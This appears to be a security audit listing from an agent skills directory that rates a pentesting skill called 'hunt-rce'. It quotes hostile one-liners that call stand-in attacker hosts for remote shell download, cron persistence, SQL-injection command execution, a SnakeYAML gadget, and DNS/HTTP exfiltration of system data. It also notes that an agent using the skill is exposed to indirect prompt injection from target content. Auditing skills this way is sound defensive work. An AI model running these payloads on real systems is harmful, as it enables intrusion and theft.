The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides numerous instructions and payload templates for downloading and executing scripts from untrusted external URLs using shell pipes.
Evidence: curl http://attacker.com/shell | bash is documented as a persistence method via cron.
Evidence: curl http://attacker/x.sh | bash is included in a stacked SQL injection query for OS-level execution.
Evidence: !!java.net.URL ["http://attacker.com/exploit.jar"] is used in a SnakeYAML RCE gadget.
[DATA_EXFILTRATION]: The skill describes techniques for exfiltrating sensitive system metadata (such as user IDs, hostnames, and environment variables) to external domains via HTTP and DNS queries.
Evidence: curl "http://$(id | base64).YOUR-INTERACTSH-URL/" for blind RCE confirmation.
Evidence: nslookup $(whoami).attacker.com for DNS-based exfiltration.
Evidence: wget http://attacker.com/$(cat /etc/hostname) for host identification.
[COMMAND_EXECUTION]: The skill facilitates broad shell access and the execution of various system utilities (e.g., kubectl, java, curl, nslookup, grep) to probe and interact with target systems.
[PRIVILEGE_ESCALATION]: The skill describes techniques for escalating privileges from low-level roles (e.g., "Management Console Editor") to root or administrative levels on target infrastructure.
[PERSISTENCE]: The skill provides examples of establishing persistence on a target system using cron jobs (e.g., writing to /etc/cron.d/) and deploying webshells via path traversal in file uploads.
[OBFUSCATION]: The skill demonstrates various bypass techniques using hex encoding and URL encoding to hide malicious payloads from security filters.
Evidence: Use of \x63\x61\x74 (hex for cat) and .%2e/ (URL encoded directory traversal) in exploit templates.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from target applications (e.g., server responses, configuration files, and source code) to identify vulnerabilities. If a target system returns malicious content designed to influence the agent's behavior, the agent could be vulnerable to indirect prompt injection.
Ingestion points: The skill processes HTML forms, API responses, and technology stack signals from remote targets.
Boundary markers: There are no specific delimiting instructions or safety warnings provided for handling untrusted target data.
Capability inventory: The skill utilizes network requests, shell execution, and file system operations.
Sanitization: No explicit input validation or sanitization routines are defined for the data processed by the agent.

hunt-rce